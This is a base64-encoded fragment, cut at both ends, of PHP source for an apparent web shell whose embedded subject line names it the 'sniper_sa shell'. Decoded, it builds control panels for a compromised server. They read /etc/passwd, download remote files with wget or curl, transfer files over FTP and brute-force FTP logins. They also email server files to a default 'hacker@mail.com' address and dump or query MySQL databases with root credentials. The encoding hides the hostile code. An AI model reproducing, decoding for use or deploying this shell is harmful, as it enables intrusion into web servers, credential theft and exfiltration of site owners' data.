luKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q2Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiZmdW5jdGlvbl9leGlzdHMoJ2ltYXBfYm9keScpKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTQnXSwnaWQyNCcpLiR0YWJsZV91cDIuZGl2KCdpZDI0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDdfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDdfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q3Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNSddLCdpZDI1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDhfZmlsZTEnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0OF9maWxlMSddKT8oJF9QT1NUWyd0ZXN0OF9maWxlMSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q4JykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q4X2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDhfZmlsZTInXSk/KCRfUE9TVFsndGVzdDhfZmlsZTInXSk6KCRkaXIpKSkud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZihAaW5pX2dldCgnZmlsZV91cGxvYWRzJykpew0KZWNobyAiPGZvcm0gbmFtZT11cGxvYWQgbWV0aG9kPVBPU1QgRU5DVFlQRT1tdWx0aXBhcnQvZm9ybS1kYXRhPiI7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1J10sJ2lkMTQnKS4kdGFibGVfdXAyLmRpdignaWQxNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUnLDg1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnbmYxIGlkPW5mMScsMCwnMScpLmluKCd0ZXh0JywnbmV3X25hbWUnLDgyLCcnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoISRzYWZlX21vZGUmJiR1bml4KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNSddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwid2l0aFwiPjxvcHRpb24gdmFsdWU9XCJ3Z2V0XCI+d2dldDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJmZXRjaFwiPmZldGNoPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImx5bnhcIj5seW54PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImxpbmtzXCI+bGlua3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiY3VybFwiPmN1cmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiR0VUXCI+R0VUPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDIpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCdyZW1fZmlsZScsNzgsJ2h0dHA6Ly8nKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMTA1LCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg2J10sJ2lkMTYnKS4kdGFibGVfdXAyLmRpdignaWQxNicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RfbmFtZScsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG93bmxvYWRfZmlsZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTQnXSkpOw0KJGFyaCA9ICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MiddOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKSB7ICRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ3ppcCcpLicgemlwJzsgICB9DQppZihAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKSAgIHsgJGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVzcycsMCwnZ3ppcCcpLicgZ3ppcCc7IH0NCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2J6Y29tcHJlc3MnKSkgeyAkYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdiemlwJykuJyBiemlwJzsgfQ0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQppZihAZnVuY3Rpb25fZXhpc3RzKCJmdHBfY29ubmVjdCIpKXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkzJ10sJ2lkMTcnKS4kdGFibGVfdXAyLmRpdignaWQxNycpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4NyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfcGFzc3dvcmQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk/KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2ZpbGUnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfZmlsZSddKT8oJF9QT1NUWydmdHBfZmlsZSddKTooIi9mdHAtZGlyL2ZpbGUiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Z0cF9maWxlX2Rvd24nKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsNDUsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IG5hbWU9ZnRwX21vZGU+PG9wdGlvbj5GVFBfQklOQVJZPC9vcHRpb24+PG9wdGlvbj5GVFBfQVNDSUk8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNCddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMCddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfcGFzc3dvcmQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk/KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDQ1LCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9maWxlJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX2ZpbGUnXSk/KCRfUE9TVFsnZnRwX2ZpbGUnXSk6KCIvZnRwLWRpci9maWxlIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfZmlsZV91cCcpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBuYW1lPWZ0cF9tb2RlPjxvcHRpb24+RlRQX0JJTkFSWTwvb3B0aW9uPjxvcHRpb24+RlRQX0FTQ0lJPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQppZigkdW5peCAmJiBAZnVuY3Rpb25fZXhpc3RzKCJmdHBfY29ubmVjdCIpKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NCddLCdpZDE4JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTgnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDg1LCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfYnJ1dGUnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gc3IoMTUsIiIsIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTknXS4iICggPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dXNlcnM+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iPC9hPiApPC9mb250PiIpOw0KZWNobyBzcigxNSwiIixpbignY2hlY2tib3gnLCdyZXZlcnNlIGlkPXJldmVyc2UnLDAsJzEnKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAxJ10pOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoQGZ1bmN0aW9uX2V4aXN0cygibWFpbCIpKXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMiddLCdpZDE5JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTknKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAzJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsNDUsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnJvbScsNDUsKCFlbXB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsnZnJvbSddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzdWJqJyw0NSwoIWVtcHR5KCRfUE9TVFsnc3ViaiddKT8oJF9QT1NUWydzdWJqJ10pOigiaGVsbG8gYmlsbHkiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwOCddLiRhcnJvdy4iPC9iPiIsJzx0ZXh0YXJlYSBuYW1lPXRleHQgY29scz0zMyByb3dzPTI+Jy4oIWVtcHR5KCRfUE9TVFsndGV4dCddKT8oJF9QT1NUWyd0ZXh0J10pOigibWFpbCB0ZXh0IGhlcmUiKSkuJzwvdGV4dGFyZWE+Jyk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE1J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA0J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsNDUsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsX2ZpbGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3N1YmonLDQ1LCghZW1wdHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJmaWxlIGZyb20gc25pcGVyX3NhIHNoZWxsIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsNDUsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE1J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+IjsNCn0NCmlmKCRteXNxbF9vbnx8JG1zc3FsX29ufHwkcGdfb258fCRvcmFfb24pDQp7DQokc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT1kYj4nOw0KaWYoJG15c3FsX29uKSAkc2VsZWN0IC49ICc8b3B0aW9uPk15U1FMPC9vcHRpb24+JzsNCmlmKCRtc3NxbF9vbikgJHNlbGVjdCAuPSAnPG9wdGlvbj5NU1NRTDwvb3B0aW9uPic7DQppZigkcGdfb24pICAgICRzZWxlY3QgLj0gJzxvcHRpb24+UG9zdGdyZVNRTDwvb3B0aW9uPic7DQppZigkb3JhX29uKSAgICRzZWxlY3QgLj0gJzxvcHRpb24+T3JhY2xlPC9vcHRpb24+JzsNCiRzZWxlY3QgLj0gJzwvc2VsZWN0Pic7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MiddLCdpZDIwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjAnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDAnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODAnXS4kYXJyb3cuIjwvYj4iLCRzZWxlY3QpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTExJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RiX3NlcnZlcicsMTUsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIzMzA2IikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLicgOiAnLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9sJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9QT1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnbXlzcWxfcCcsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX3AnXSk/KCRfUE9TVFsnbXlzcWxfcCddKTooInBhc3N3b3JkIikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9kYicsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpLicgPGI+LjwvYj4gJy5pbigndGV4dCcsJ215c3FsX3RibCcsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX3RibCddKT8oJF9QT1NUWydteXNxbF90YmwnXSk6KCJ1c2VyIikpKSk7DQplY2hvIHNyKDM1LGluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbXlzcWxfZHVtcCcpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnZGlmIGlkPWRpZicsMCwnMScpLmluKCd0ZXh0JywnZGlmX25hbWUnLDMxLCghZW1wdHkoJF9QT1NUWydkaWZfbmFtZSddKT8oJF9QT1NUWydkaWZfbmFtZSddKTooImR1bXAuc3FsIikpKSk7DQplY2hvIHNyKDM1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDknXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdCk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTEnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGJfc2VydmVyJywxNSwoIWVtcHR5KCRfUE9TVFsnZGJfc2VydmVyJ10pPygkX1BPU1RbJ2RiX3NlcnZlciddKTooImxvY2FsaG9zdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnZGJfcG9ydCcsMTUsKCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJyA6ICcuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2wnLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF9sJ10pPygkX1BPU1RbJ215c3FsX2wnXSk6KCJyb290IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdteXNxbF9wJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfcCddKT8oJF9QT1NUWydteXNxbF9wJ10pOigicGFzc3dvcmQiKSkpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2RiJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfZGInXSk/KCRfUE9TVFsnbXlzcWxfZGInXSk6KCJteXNxbCIpKSkpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODQnXS4kYXJyb3cuIjwvYj4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJfcXVlcnknKSwiIik7DQplY2hvICR0ZS4iPGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPjx0ZXh0YXJlYSBjb2xzPTU1IHJvd3M9MSBuYW1lPWRiX3F1ZXJ5PiIuKCFlbXB0eSgkX1BPU1RbJ2RiX3F1ZXJ5J10pPygkX1BPU1RbJ2RiX3F1ZXJ5J10pOigiU0hPVyBEQVRBQkFTRVM7IikpLiI8L3RleHRhcmVhPjxicj4iLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkuIjwvZGl2PjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOw0KfQ0KaWYoISRzYWZlX21vZGUmJiR1bml4KXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgxJ10sJ2lkMjEnKS4kdGFibGVfdXAyLmRpdignaWQyMScpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zNCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCm